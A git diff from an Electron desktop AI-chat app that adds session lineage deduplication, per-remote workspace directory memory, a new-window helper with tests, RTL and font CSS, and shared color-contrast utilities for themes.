+ // the sidebar showed both the old tip and the new tip as separate rows.
+ // The old tip must be evicted because its lineage key matches the incoming
+ // new tip's lineage key.
+ const previous = [
+ session({ id: 'tip-4', _lineage_root_id: 'root' }),
+ session({ id: 'other' }),
+ ] as SessionInfo[]
+ const incoming = [
+ session({ id: 'tip-5', _lineage_root_id: 'root' }),
+ ] as SessionInfo[]
+
+ // 'tip-4' is in the keep set (e.g. it was the active/working session),
+ // but should still be evicted because the incoming page carries the same
+ // lineage under a new tip id.
+ const merged = mergeSessionPage(previous, incoming, ['tip-4'])
+
+ expect(merged.map(s => s.id)).toEqual(['tip-5'])
+ // The new tip comes from the server payload.
+ expect(merged.find(s => s.id === 'tip-5')?._lineage_root_id).toBe('root')
+ })
+
+ it('preserves an unrelated pinned session even when lineage dedup is active', () => {
+ // Regression guard: lineage dedup must not accidentally evict sessions
+ // from a different lineage that happen to be in the keep set.
+ const previous = [
+ session({ id: 'a-old', _lineage_root_id: 'lineage-a' }),
+ session({ id: 'b', _lineage_root_id: 'lineage-b' }),
+ ] as SessionInfo[]
+ const incoming = [
+ session({ id: 'a-new', _lineage_root_id: 'lineage-a' }),
+ ] as SessionInfo[]
+
+ const merged = mergeSessionPage(previous, incoming, ['b'])
+
+ expect(merged.map(s => s.id)).toEqual(['b', 'a-new'])
+ })
+})
+
+describe('workspaceCwdForNewSession', () => {
+ afterEach(() => {
+ applyConfiguredDefaultProjectDir(null)
+ $connection.set(null)
+ $currentCwd.set('')
+ $activeSessionId.set(null)
+ window.localStorage.removeItem('hermes.desktop.workspace-cwd')
+ window.localStorage.removeItem('hermes.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-a.default')
+ window.localStorage.removeItem('hermes.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-b.default')
+ })
+
+ it('prefers the configured default over the sticky remembered workspace', () => {
+ window.localStorage.setItem('hermes.desktop.workspace-cwd', '/home/user/sticky')
+ applyConfiguredDefaultProjectDir('/home/user/configured')
+
+ expect(workspaceCwdForNewSession()).toBe('/home/user/configured')
+ })
+
+ it('falls back to the remembered workspace when no configured default is set', () => {
+ window.localStorage.setItem('hermes.desktop.workspace-cwd', '/home/user/sticky')
+
+ expect(workspaceCwdForNewSession()).toBe('/home/user/sticky')
+ })
+
+ it('falls back to the live cwd when neither configured nor remembered values exist', () => {
+ $currentCwd.set('/home/user/live')
+
+ expect(workspaceCwdForNewSession()).toBe('/home/user/live')
+ })
+
+ it('does not rewrite the live cwd while a session is active', () => {
+ $activeSessionId.set('sess-1')
+ $currentCwd.set('/live/session/path')
+ applyConfiguredDefaultProjectDir('/home/user/configured')
+
+ expect($currentCwd.get()).toBe('/live/session/path')
+ expect(workspaceCwdForNewSession()).toBe('/home/user/configured')
+ })
+
+ it('keeps remote workspace memory separate from local and other remotes', () => {
+ window.localStorage.setItem('hermes.desktop.workspace-cwd', '/local/project')
+ $currentCwd.set('/live/session/path')
+ $connection.set({ baseUrl: 'http://backend-a', mode: 'remote' } as never)
+
+ expect(workspaceCwdForNewSession()).toBe('')
+
+ setCurrentCwd('/backend/project-a')
+ expect(workspaceCwdForNewSession()).toBe('/backend/project-a')
+
+ $connection.set({ baseUrl: 'http://backend-b', mode: 'remote' } as never)
+ expect(workspaceCwdForNewSession()).toBe('')
+
+ setCurrentCwd('/backend/project-b')
+ expect(workspaceCwdForNewSession()).toBe('/backend/project-b')
+
+ $connection.set(null)
+ expect(workspaceCwdForNewSession()).toBe('/local/project')
+ })
})
describe('getRecentlySettledSessionIds', () => {
diff --git a/apps/desktop/src/store/session.ts b/apps/desktop/src/store/session.ts
index 901de43667d5..3578c9946126 100644
--- a/apps/desktop/src/store/session.ts
+++ b/apps/desktop/src/store/session.ts
@@ -10,7 +10,85 @@ type Updater = T | ((current: T) => T)
const WORKSPACE_CWD_KEY = 'hermes.desktop.workspace-cwd'
-export const getRememberedWorkspaceCwd = (): string => storedString(WORKSPACE_CWD_KEY)?.trim() || ''
+let configuredDefaultProjectDir = ''
+
+function workspaceCwdKey(connection: HermesConnection | null = $connection.get()): string {
+ if (connection?.mode !== 'remote') {
+ return WORKSPACE_CWD_KEY
+ }
+
+ const base = encodeURIComponent(connection.baseUrl || 'remote')
+ const profile = encodeURIComponent(connection.profile || 'default')
+ return `${WORKSPACE_CWD_KEY}.remote.${base}.${profile}`
+}
+
+export const getRememberedWorkspaceCwd = (): string => storedString(workspaceCwdKey())?.trim() || ''
+
+export const getConfiguredDefaultProjectDir = (): string => configuredDefaultProjectDir
+
+export async function syncConfiguredDefaultProjectDir(): Promise {
+ const settings = window.hermesDesktop?.settings?.getDefaultProjectDir
+
+ if (!settings) {
+ configuredDefaultProjectDir = ''
+
+ return ''
+ }
+
+ const { dir } = await settings()
+ configuredDefaultProjectDir = dir?.trim() || ''
+
+ return configuredDefaultProjectDir
+}
+
+/** Align the renderer workspace with the main-process default (home dir when
+ * packaged, optional Settings override). Clears stale install-dir paths that
+ * PR #37586's localStorage stickiness can preserve across the #37536 fix. */
+export async function ensureDefaultWorkspaceCwd(): Promise {
+ const sanitize = window.hermesDesktop?.sanitizeWorkspaceCwd
+
+ if (!sanitize) {
+ return
+ }
+
+ await syncConfiguredDefaultProjectDir()
+ const configured = getConfiguredDefaultProjectDir()
+
+ const seedLiveCwd = (cwd: string) => {
+ if (cwd && !$activeSessionId.get()) {
+ setCurrentCwd(cwd)
+ }
+ }
+
+ const remembered = getRememberedWorkspaceCwd()
+
+ if ($connection.get()?.mode === 'remote') {
+ seedLiveCwd(remembered)
+ return
+ }
+
+ if (configured) {
+ const { cwd } = await sanitize(configured)
+ seedLiveCwd(cwd)
+
+ return
+ }
+
+ if (remembered) {
+ const { cwd } = await sanitize(remembered)
+ seedLiveCwd(cwd)
+ }
+}
+
+export function applyConfiguredDefaultProjectDir(dir: null | string | undefined): void {
+ configuredDefaultProjectDir = dir?.trim() || ''
+
+ // Cache only — new chats read this via workspaceCwdForNewSession(). Do not
+ // rewrite the live workspace (or localStorage) while a session is active.
+ if (configuredDefaultProjectDir && !$activeSessionId.get()) {
+ setCurrentCwd(configuredDefaultProjectDir)
+ }
+}
interface AppAtom {
get: () => T
@@ -27,6 +105,16 @@ function updateAtom(store: AppAtom, next: Updater) {
export const sessionPinId = (session: Pick): string =>
session._lineage_root_id ?? session.id
+/** Check if a session matches a stored id by its live id or its durable
+ * lineage root. Auto-compression rotates a conversation's session id, so
+ * lookups keyed on the live id would miss the record after a compression.
+ * This helper catches both the current tip and any ancestor. */
+export const sessionMatchesStoredId = (
+ session: Pick,
+ storedSessionId: string
+): boolean =>
+ session.id === storedSessionId || session._lineage_root_id === storedSessionId
+
/** Merge a fresh server session page into the in-memory list, keeping any
* row the server omitted that we still want visible — both still-"working"
* sessions and pinned sessions.
@@ -62,10 +150,18 @@ export function mergeSessionPage(
}
const incomingIds = new Set(incoming.map(session => session.id))
+ // Deduplicate by compression lineage: when auto-compression rotates the tip
+ // id (old #4 → new #5), the incoming page carries the new tip but the
+ // previous list still holds the old one. Without lineage-level dedup both
+ // rows survive as separate sidebar entries (fixes #43483).
+ const incomingLineageKeys = new Set(
+ incoming.map(session => session._lineage_root_id ?? session.id)
+ )
const survivors = previous.filter(
session =>
!incomingIds.has(session.id) &&
+ !incomingLineageKeys.has(session._lineage_root_id ?? session.id) &&
(keep.has(session.id) || (session._lineage_root_id != null && keep.has(session._lineage_root_id)))
)
@@ -85,6 +181,20 @@ export const $cronSessions = atom([])
// badge renders "N+". Lives here so the controller (fetch) and sidebar (badge)
// share one source of truth without a circular import.
export const CRON_SECTION_LIMIT = 50
+// Messaging-platform sessions (telegram/discord/...) are fetched as their own
+// slice — separate from local recents — so each platform renders a
+// self-managed sidebar section and never interleaves with (or buries) local
+// chats in the recents page. One combined fetch seeds every platform; a
+// platform that exceeds this cap gets its own per-platform "load more".
+export const $messagingSessions = atom([])
+export const MESSAGING_SECTION_LIMIT = 100
+// Exact per-platform conversation totals, keyed by source id. Empty until a
+// per-platform "load more" fetch resolves it (the combined seed fetch only
+// knows the aggregate), so sections fall back to their loaded count.
+export const $messagingPlatformTotals = atom>({})
+// True when the combined seed fetch hit MESSAGING_SECTION_LIMIT, so at least
+// one platform may have more rows on disk than were loaded.
+export const $messagingTruncated = atom(false)
// Listable conversation count per profile (children excluded), keyed by profile
// name. Lets the sidebar scope its "Load more" footer to the active profile so a
// huge default profile doesn't keep "Load more" visible while browsing a small
@@ -123,12 +233,17 @@ export const $availablePersonalities = atom([])
export const $introSeed = atom(0)
export const $contextSuggestions = atom([])
export const $modelPickerOpen = atom(false)
+export const $sessionPickerOpen = atom(false)
export const setConnection = (next: Updater) => updateAtom($connection, next)
export const setGatewayState = (next: Updater) => updateAtom($gatewayState, next)
export const setSessions = (next: Updater) => updateAtom($sessions, next)
export const setSessionsTotal = (next: Updater) => updateAtom($sessionsTotal, next)
export const setCronSessions = (next: Updater) => updateAtom($cronSessions, next)
+export const setMessagingSessions = (next: Updater) => updateAtom($messagingSessions, next)
+export const setMessagingPlatformTotals = (next: Updater>) =>
+ updateAtom($messagingPlatformTotals, next)
+export const setMessagingTruncated = (next: Updater) => updateAtom($messagingTruncated, next)
export const setSessionProfileTotals = (next: Updater>) =>
updateAtom($sessionProfileTotals, next)
export const setSessionsLoading = (next: Updater) => updateAtom($sessionsLoading, next)
@@ -148,9 +263,15 @@ export const setYoloActive = (next: Updater) => updateAtom($yoloActive,
export const setCurrentCwd = (next: Updater) => {
updateAtom($currentCwd, next)
- // Keep localStorage in sync with the atom: a real folder is remembered, an
- // empty cwd clears the key (|| null → removeItem).
- persistString(WORKSPACE_CWD_KEY, $currentCwd.get().trim() || null)
+ persistString(workspaceCwdKey(), $currentCwd.get().trim() || null)
+}
+
+export const workspaceCwdForNewSession = (): string => {
+ if ($connection.get()?.mode === 'remote') {
+ return getRememberedWorkspaceCwd()
+ }
+
+ return getConfiguredDefaultProjectDir() || getRememberedWorkspaceCwd() || $currentCwd.get().trim()
}
export const setCurrentBranch = (next: Updater) => updateAtom($currentBranch, next)
@@ -163,6 +284,7 @@ export const setAvailablePersonalities = (next: Updater) => updateAtom
export const setIntroSeed = (next: Updater) => updateAtom($introSeed, next)
export const setContextSuggestions = (next: Updater) => updateAtom($contextSuggestions, next)
export const setModelPickerOpen = (next: Updater) => updateAtom($modelPickerOpen, next)
+export const setSessionPickerOpen = (next: Updater) => updateAtom($sessionPickerOpen, next)
// Watchdog tracking — when does a "working" session count as stuck?
// Long-running tool calls (LLM inference, long shell commands, web fetches)
diff --git a/apps/desktop/src/store/windows.test.ts b/apps/desktop/src/store/windows.test.ts
new file mode 100644
index 000000000000..18487480fcda
--- /dev/null
+++ b/apps/desktop/src/store/windows.test.ts
@@ -0,0 +1,93 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { canOpenSessionWindow, openSessionInNewWindow } from './windows'
+
+const desktopWindow = window as unknown as { hermesDesktop?: Window['hermesDesktop'] }
+const initialHermesDesktop = desktopWindow.hermesDesktop
+
+const notifyError = vi.fn()
+
+vi.mock('./notifications', () => ({
+ notifyError: (...args: unknown[]) => notifyError(...args)
+}))
+
+function installBridge(openSessionWindow?: Window['hermesDesktop']['openSessionWindow']) {
+ desktopWindow.hermesDesktop = {
+ ...(openSessionWindow ? { openSessionWindow } : {})
+ } as unknown as Window['hermesDesktop']
+}
+
+beforeEach(() => {
+ notifyError.mockClear()
+})
+
+afterEach(() => {
+ if (initialHermesDesktop) {
+ desktopWindow.hermesDesktop = initialHermesDesktop
+ } else {
+ delete desktopWindow.hermesDesktop
+ }
+})
+
+describe('canOpenSessionWindow', () => {
+ it('is false when the desktop bridge is absent', () => {
+ delete desktopWindow.hermesDesktop
+ expect(canOpenSessionWindow()).toBe(false)
+ })
+
+ it('is false when the bridge lacks openSessionWindow', () => {
+ installBridge(undefined)
+ expect(canOpenSessionWindow()).toBe(false)
+ })
+
+ it('is true when the bridge exposes openSessionWindow', () => {
+ installBridge(vi.fn().mockResolvedValue({ ok: true }))
+ expect(canOpenSessionWindow()).toBe(true)
+ })
+})
+
+describe('openSessionInNewWindow', () => {
+ it('no-ops without a session id', async () => {
+ const open = vi.fn().mockResolvedValue({ ok: true })
+ installBridge(open)
+
+ await openSessionInNewWindow('')
+
+ expect(open).not.toHaveBeenCalled()
+ expect(notifyError).not.toHaveBeenCalled()
+ })
+
+ it('no-ops gracefully when the bridge is absent (web fallback)', async () => {
+ delete desktopWindow.hermesDesktop
+
+ await openSessionInNewWindow('s1')
+
+ expect(notifyError).not.toHaveBeenCalled()
+ })
+
+ it('invokes the bridge with the session id', async () => {
+ const open = vi.fn().mockResolvedValue({ ok: true })
+ installBridge(open)
+
+ await openSessionInNewWindow('s1')
+
+ expect(open).toHaveBeenCalledWith('s1')
+ expect(notifyError).not.toHaveBeenCalled()
+ })
+
+ it('notifies on an ok:false result', async () => {
+ installBridge(vi.fn().mockResolvedValue({ ok: false, error: 'invalid-session-id' }))
+
+ await openSessionInNewWindow('s1')
+
+ expect(notifyError).toHaveBeenCalledTimes(1)
+ })
+
+ it('notifies when the bridge throws', async () => {
+ installBridge(vi.fn().mockRejectedValue(new Error('boom')))
+
+ await openSessionInNewWindow('s1')
+
+ expect(notifyError).toHaveBeenCalledTimes(1)
+ })
+})
diff --git a/apps/desktop/src/store/windows.ts b/apps/desktop/src/store/windows.ts
new file mode 100644
index 000000000000..57a47bf0bca3
--- /dev/null
+++ b/apps/desktop/src/store/windows.ts
@@ -0,0 +1,52 @@
+import { notifyError } from './notifications'
+
+// Window flag set by the Electron main process when it opens a standalone
+// session window (see electron/main.cjs buildSessionWindowUrl). It rides in the
+// query string BEFORE the HashRouter '#', so we read it from location.search,
+// never from the router. A "secondary" window renders a single chat without the
+// global session sidebar or the install / onboarding overlays.
+const SECONDARY_WINDOW_FLAG = 'secondary'
+
+let secondaryWindowCache: boolean | null = null
+
+export function isSecondaryWindow(): boolean {
+ if (secondaryWindowCache !== null) {
+ return secondaryWindowCache
+ }
+
+ let result = false
+
+ try {
+ result = new URLSearchParams(window.location.search).get('win') === SECONDARY_WINDOW_FLAG
+ } catch {
+ result = false
+ }
+
+ secondaryWindowCache = result
+
+ return result
+}
+
+// True when running inside the Electron desktop shell (the preload bridge is
+// present). The "open in new window" affordance is desktop-only.
+export function canOpenSessionWindow(): boolean {
+ return typeof window !== 'undefined' && typeof window.hermesDesktop?.openSessionWindow === 'function'
+}
+
+// Open (or focus) a standalone OS window for a single chat session. No-ops
+// gracefully outside Electron so callers can wire it unconditionally.
+export async function openSessionInNewWindow(sessionId: string): Promise {
+ if (!sessionId || !canOpenSessionWindow()) {
+ return
+ }
+
+ try {
+ const result = await window.hermesDesktop.openSessionWindow(sessionId)
+
+ if (!result?.ok) {
+ notifyError(new Error(result?.error || 'unknown error'), 'Could not open chat in a new window')
+ }
+ } catch (err) {
+ notifyError(err, 'Could not open chat in a new window')
+ }
+}
diff --git a/apps/desktop/src/styles.css b/apps/desktop/src/styles.css
index 4dc57fb1c697..a73631d36091 100644
--- a/apps/desktop/src/styles.css
+++ b/apps/desktop/src/styles.css
@@ -5,6 +5,10 @@
@import '@vscode/codicons/dist/codicon.css';
@custom-variant dark (&:is(.dark *));
+/* Sidebar sections: tall viewports give each its own scroller; compact ones
+ (this variant) flatten everything into one shared scroll. See ChatSidebar. */
+@custom-variant compact (@media (max-height: 768px));
+
@font-face {
font-family: 'Collapse';
font-style: normal;
@@ -13,6 +17,30 @@
src: url('../../../node_modules/@nous-research/ui/dist/fonts/Collapse-Bold.woff2') format('woff2');
}
+/* JetBrains Mono — bundled terminal font (Apache-2.0) so bold/italic share the
+ regular face's metrics instead of squeezing against a system fallback. */
+@font-face {
+ font-family: 'JetBrains Mono';
+ font-style: normal;
+ font-weight: 400;
+ font-display: swap;
+ src: url('./fonts/JetBrainsMono-Regular.woff2') format('woff2');
+}
+@font-face {
+ font-family: 'JetBrains Mono';
+ font-style: normal;
+ font-weight: 700;
+ font-display: swap;
+ src: url('./fonts/JetBrainsMono-Bold.woff2') format('woff2');
+}
+@font-face {
+ font-family: 'JetBrains Mono';
+ font-style: italic;
+ font-weight: 400;
+ font-display: swap;
+ src: url('./fonts/JetBrainsMono-Italic.woff2') format('woff2');
+}
+
@theme inline {
--color-background: var(--dt-background);
--color-foreground: var(--dt-foreground);
@@ -266,10 +294,12 @@
--dt-user-bubble: var(--ui-chat-bubble-background);
--dt-user-bubble-border: var(--ui-stroke-tertiary);
- --dt-font-sans: 'Segoe WPC', 'Segoe UI', -apple-system, BlinkMacSystemFont, 'SF Pro Text', system-ui, sans-serif,
- 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji', emoji;
- --dt-font-mono: 'Cascadia Code', 'JetBrains Mono', 'SF Mono', ui-monospace, Menlo, Consolas, monospace,
+ --dt-font-sans:
+ 'Segoe WPC', 'Segoe UI', -apple-system, BlinkMacSystemFont, 'SF Pro Text', system-ui, sans-serif,
'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji', emoji;
+ --dt-font-mono:
+ 'Cascadia Code', 'JetBrains Mono', 'SF Mono', ui-monospace, Menlo, Consolas, monospace, 'Apple Color Emoji',
+ 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji', emoji;
--dt-base-size: 1rem;
--dt-line-height: 1.5;
--dt-letter-spacing: 0;
@@ -817,6 +847,37 @@ canvas {
content's --message-text-indent). No extra prose indent — a single gutter
reads cleaner than a ragged tool-vs-reply column. */
+/* RTL/bidi chat text (#44150): each block resolves its own base direction from
+ its first strong char (UAX#9 plaintext). text-align:start makes that resolved
+ direction drive alignment too — load-bearing, since the user bubble pins
+ text-left. direction is never set, so chrome/layout/list-indent stay LTR (the
+ issue asks not to flip the whole UI). Covers assistant prose, user lines, and
+ both composers (main + edit share composer-rich-input). */
+[data-slot='aui_assistant-message-content'] .aui-md :where(p, h1, h2, h3, h4, h5, h6, li, blockquote),
+[data-slot='aui_user-inline-text'],
+[data-slot='composer-rich-input'] {
+ unicode-bidi: plaintext;
+ text-align: start;
+}
+
+/* Inline code/KaTeX don't vote on direction and keep their own order: isolate
+ makes bidi treat each as one neutral, so a block that *starts* with `./run.sh`
+ then Arabic still resolves RTL, and the command's neutrals (dots/slashes)
+ aren't reordered by the surrounding RTL run. */
+[data-slot='aui_assistant-message-content'] .aui-md :where(:not(pre) > code),
+[data-slot='aui_user-inline-code'],
+[data-slot='aui_assistant-message-content'] .aui-md .katex {
+ direction: ltr;
+ unicode-bidi: isolate;
+}
+
+/* Fenced code stays LTR even inside an RTL list item/blockquote — never mirrors. */
+[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'],
+[data-slot='aui_user-fence'] {
+ direction: ltr;
+ text-align: left;
+}
+
[data-slot='aui_user-message-root'] {
top: var(--sticky-human-top);
}
@@ -914,7 +975,11 @@ canvas {
display: block;
inline-size: var(--fit-available-space);
- font-size: clamp(var(--fit-min, 1em), 1em * var(--fit-ratio), var(--fit-max, infinity * 1px) - var(--fit-support-sentinel));
+ font-size: clamp(
+ var(--fit-min, 1em),
+ 1em * var(--fit-ratio),
+ var(--fit-max, infinity * 1px) - var(--fit-support-sentinel)
+ );
}
@container (inline-size > 0) {
diff --git a/apps/desktop/src/themes/color.ts b/apps/desktop/src/themes/color.ts
new file mode 100644
index 000000000000..8bb4e9ca3aa0
--- /dev/null
+++ b/apps/desktop/src/themes/color.ts
@@ -0,0 +1,142 @@
+/**
+ * Small color helpers shared by the theme context (synthesised light variants)
+ * and the VS Code theme converter (token → seed mapping).
+ *
+ * Everything works in 6-digit `#rrggbb`. `normalizeHex` is the front door for
+ * untrusted input (VS Code themes use `#rgb`, `#rgba`, `#rrggbbaa`, and named
+ * tokens), flattening alpha over a backdrop so downstream math stays simple.
+ */
+
+export function hexToRgb(hex: string): [number, number, number] | null {
+ const clean = hex.trim().replace(/^#/, '')
+
+ if (!/^[0-9a-f]{6}$/i.test(clean)) {
+ return null
+ }
+
+ return [0, 2, 4].map(i => parseInt(clean.slice(i, i + 2), 16)) as [number, number, number]
+}
+
+export const rgbToHex = ([r, g, b]: [number, number, number]): string =>
+ `#${[r, g, b].map(n => Math.round(Math.min(255, Math.max(0, n))).toString(16).padStart(2, '0')).join('')}`
+
+export function mix(a: string, b: string, amount: number): string {
+ const ar = hexToRgb(a)
+ const br = hexToRgb(b)
+
+ return ar && br
+ ? rgbToHex([ar[0] + (br[0] - ar[0]) * amount, ar[1] + (br[1] - ar[1]) * amount, ar[2] + (br[2] - ar[2]) * amount])
+ : a
+}
+
+const linearize = (channel: number): number =>
+ channel <= 0.03928 ? channel / 12.92 : ((channel + 0.055) / 1.055) ** 2.4
+
+/** WCAG relative luminance (gamma-corrected), 0..1. */
+export function relativeLuminance(hex: string): number {
+ const rgb = hexToRgb(hex)
+
+ if (!rgb) {
+ return 0
+ }
+
+ const [r, g, b] = rgb.map(v => linearize(v / 255))
+
+ return 0.2126 * r + 0.7152 * g + 0.0722 * b
+}
+
+/** WCAG contrast ratio (1..21) between two hex colors. */
+export function contrastRatio(a: string, b: string): number {
+ const la = relativeLuminance(a)
+ const lb = relativeLuminance(b)
+
+ return la >= lb ? (la + 0.05) / (lb + 0.05) : (lb + 0.05) / (la + 0.05)
+}
+
+/** Returns a readable foreground (#161616 or #ffffff) for a background hex. */
+export function readableOn(hex: string): string {
+ return relativeLuminance(hex) > 0.58 ? '#161616' : '#ffffff'
+}
+
+/**
+ * Guarantee `color` reads against `bg`: if it's below `min` contrast, mix it
+ * toward white (on a dark bg) or black (on a light bg) in steps until it clears,
+ * keeping the hue as much as possible. Used so imported accents never collapse
+ * into a near-background sidebar (the "invisible label" case).
+ */
+export function ensureContrast(color: string, bg: string, min: number): string {
+ if (contrastRatio(color, bg) >= min) {
+ return color
+ }
+
+ const towards = relativeLuminance(bg) < 0.5 ? '#ffffff' : '#000000'
+ let best = color
+
+ for (let amount = 0.2; amount <= 1.0001; amount += 0.2) {
+ best = mix(color, towards, Math.min(amount, 1))
+
+ if (contrastRatio(best, bg) >= min) {
+ return best
+ }
+ }
+
+ return best
+}
+
+/** Perceptual-ish luminance in 0..1 (naive, for light/dark bucketing). */
+export function luminance(hex: string): number {
+ const rgb = hexToRgb(hex)
+
+ if (!rgb) {
+ return 0
+ }
+
+ const [r, g, b] = rgb.map(v => v / 255)
+
+ return 0.2126 * r + 0.7152 * g + 0.0722 * b
+}
+
+/**
+ * Coerce any CSS hex color VS Code themes throw at us into a flat 6-digit
+ * `#rrggbb`, compositing alpha over `backdrop`. Accepts `#rgb`, `#rgba`,
+ * `#rrggbb`, `#rrggbbaa` (with or without the leading `#`). Returns null for
+ * non-hex values (named colors, `rgb()`, etc.) so callers can fall back.
+ */
+export function normalizeHex(input: string | undefined | null, backdrop = '#000000'): string | null {
+ if (typeof input !== 'string') {
+ return null
+ }
+
+ let clean = input.trim().replace(/^#/, '')
+
+ // Expand shorthand (#rgb / #rgba) to full width.
+ if (clean.length === 3 || clean.length === 4) {
+ clean = clean
+ .split('')
+ .map(ch => ch + ch)
+ .join('')
+ }
+
+ if (!/^[0-9a-f]{6}([0-9a-f]{2})?$/i.test(clean)) {
+ return null
+ }
+
+ const rgb = hexToRgb(`#${clean.slice(0, 6)}`)
+
+ if (!rgb) {
+ return null
+ }
+
+ if (clean.length === 6) {
+ return rgbToHex(rgb)
+ }
+
+ const alpha = parseInt(clean.slice(6, 8), 16) / 255
+ const base = hexToRgb(backdrop) ?? [0, 0, 0]
+
+ return rgbToHex([
+ base[0] + (rgb[0] - base[0]) * alpha,
+ base[1] + (rgb[1] - base[1]) * alpha,
+ base[2] + (rgb[2] - base[2]) * alpha
+ ])
+}
diff --git a/apps/desktop/src/themes/context.tsx b/apps/desktop/src/themes/context.tsx
index 0f117213819e..f7bc07c3b7e7 100644
--- a/apps/desktop/src/themes/context.tsx
+++ b/apps/desktop/src/themes/context.tsx
@@ -16,8 +16,10 @@ import { matchesQuery, useMediaQuery } from '@/hooks/use-media-query'
import { persistString, persistStringRecord, storedString, storedStringRecord } from '@/lib/storage'
import { $activeGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import { hexToRgb, mix, readableOn } from './color'
import { BUILTIN_THEME_LIST, BUILTIN_THEMES, DEFAULT_SKIN_NAME, DEFAULT_TYPOGRAPHY, nousTheme } from './presets'
import type { DesktopTheme, DesktopThemeColors } from './types'
+import { $userThemes, resolveTheme } from './user-themes'
// Legacy global skin (pre per-profile themes). Still the inheritance fallback
// for any profile without its own assignment, so single-profile users and old
@@ -41,7 +43,7 @@ const resolveMode = (mode: ThemeMode, systemDark = matchesQuery('(prefers-color-
mode === 'system' ? (systemDark ? 'dark' : 'light') : mode
const normalizeSkin = (name: string | null): string =>
- name && BUILTIN_THEMES[name] && !RETIRED_SKINS.has(name) ? name : DEFAULT_SKIN_NAME
+ name && resolveTheme(name) && !RETIRED_SKINS.has(name) ? name : DEFAULT_SKIN_NAME
const normalizeMode = (value: string | null): ThemeMode =>
value === 'light' || value === 'dark' || value === 'system' ? value : 'light'
@@ -71,44 +73,8 @@ const readBootProfileKey = () => normalizeProfileKey(storedString(LAST_PROFILE_K
const rememberActiveProfileKey = (profile: string) => persistString(LAST_PROFILE_KEY, profile)
// ─── Color math (for synthesised light variants of dark-only skins) ────────
-
-function hexToRgb(hex: string): [number, number, number] | null {
- const clean = hex.trim().replace(/^#/, '')
-
- if (!/^[0-9a-f]{6}$/i.test(clean)) {
- return null
- }
-
- return [0, 2, 4].map(i => parseInt(clean.slice(i, i + 2), 16)) as [number, number, number]
-}
-
-const rgbToHex = ([r, g, b]: [number, number, number]) =>
- `#${[r, g, b].map(n => Math.round(n).toString(16).padStart(2, '0')).join('')}`
-
-function mix(a: string, b: string, amount: number): string {
- const ar = hexToRgb(a)
- const br = hexToRgb(b)
-
- return ar && br
- ? rgbToHex([ar[0] + (br[0] - ar[0]) * amount, ar[1] + (br[1] - ar[1]) * amount, ar[2] + (br[2] - ar[2]) * amount])
- : a
-}
-
-function readableOn(hex: string): string {
- const rgb = hexToRgb(hex)
-
- if (!rgb) {
- return '#ffffff'
- }
-
- const [r, g, b] = rgb.map(v => {
- const c = v / 255
-
- return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4
- })
-
- return 0.2126 * r + 0.7152 * g + 0.0722 * b > 0.58 ? '#161616' : '#ffffff'
-}
+// hexToRgb / mix / readableOn live in ./color so the VS Code converter shares
+// the exact same math.
function synthLightColors(seed: DesktopTheme): DesktopThemeColors {
const accent = seed.colors.ring || seed.colors.primary
@@ -148,7 +114,7 @@ function synthLightColors(seed: DesktopTheme): DesktopThemeColors {
/** Returns the seed palette for a given skin + mode (no overrides applied). */
export function getBaseColors(skinName: string, mode: 'light' | 'dark'): DesktopThemeColors {
- const seed = BUILTIN_THEMES[skinName] ?? nousTheme
+ const seed = resolveTheme(skinName) ?? nousTheme
if (mode === 'dark') {
return seed.darkColors ?? seed.colors
@@ -158,7 +124,7 @@ export function getBaseColors(skinName: string, mode: 'light' | 'dark'): Desktop
}
function deriveTheme(skinName: string, mode: 'light' | 'dark'): DesktopTheme {
- const seed = BUILTIN_THEMES[skinName] ?? nousTheme
+ const seed = resolveTheme(skinName) ?? nousTheme
return {
...seed,
@@ -286,7 +252,15 @@ interface ThemeContextValue {
theme: DesktopTheme
themeName: string
mode: ThemeMode
+ /** The light/dark switch the user picked. */
resolvedMode: 'light' | 'dark'
+ /**
+ * The mode actually painted, derived from the active background's luminance.
+ * Differs from `resolvedMode` for skins that keep a bright surface in "dark"
+ * (or vice-versa). Surface-bound UI (e.g. the terminal palette) should key off
+ * this so it matches what's on screen instead of inverting.
+ */
+ renderedMode: 'light' | 'dark'
availableThemes: Array<{ name: string; label: string; description: string }>
setTheme: (name: string) => void
setMode: (mode: ThemeMode) => void
@@ -299,6 +273,7 @@ const ThemeContext = createContext({
themeName: DEFAULT_SKIN_NAME,
mode: 'light',
resolvedMode: 'light',
+ renderedMode: 'light',
availableThemes: SKIN_LIST,
setTheme: () => {},
setMode: () => {}
@@ -310,6 +285,20 @@ export function ThemeProvider({ children }: { children: ReactNode }) {
// behavior is unchanged.
const profileKey = normalizeProfileKey(useStore($activeGatewayProfile))
+ // Built-ins + user-installed themes. Reactive so an import shows up live in
+ // the palette, settings grid, and `/skin` without a reload.
+ const userThemes = useStore($userThemes)
+
+ const availableThemes = useMemo(
+ () =>
+ [...Object.values(BUILTIN_THEMES), ...Object.values(userThemes)].map(({ name, label, description }) => ({
+ name,
+ label,
+ description
+ })),
+ [userThemes]
+ )
+
const [themeName, setThemeNameState] = useState(() =>
typeof window === 'undefined' ? DEFAULT_SKIN_NAME : skinPref.resolve(readBootProfileKey())
)
@@ -330,6 +319,12 @@ export function ThemeProvider({ children }: { children: ReactNode }) {
const resolvedMode = resolveMode(mode, systemDark)
const activeTheme = useMemo(() => deriveTheme(themeName, resolvedMode), [themeName, resolvedMode])
+ // What actually gets painted (matches the `.dark` class applyTheme toggles).
+ const renderedMode = useMemo(
+ () => renderedModeFor(activeTheme.colors, resolvedMode),
+ [activeTheme, resolvedMode]
+ )
+
useEffect(() => applyTheme(activeTheme, resolvedMode), [activeTheme, resolvedMode])
// Assign to whichever profile is live right now (read fresh so the callbacks
@@ -351,8 +346,8 @@ export function ThemeProvider({ children }: { children: ReactNode }) {
// (`appearance.toggleMode`) so it shows up in the hotkey map and is rebindable.
const value = useMemo(
- () => ({ theme: activeTheme, themeName, mode, resolvedMode, availableThemes: SKIN_LIST, setTheme, setMode }),
- [activeTheme, themeName, mode, resolvedMode, setTheme, setMode]
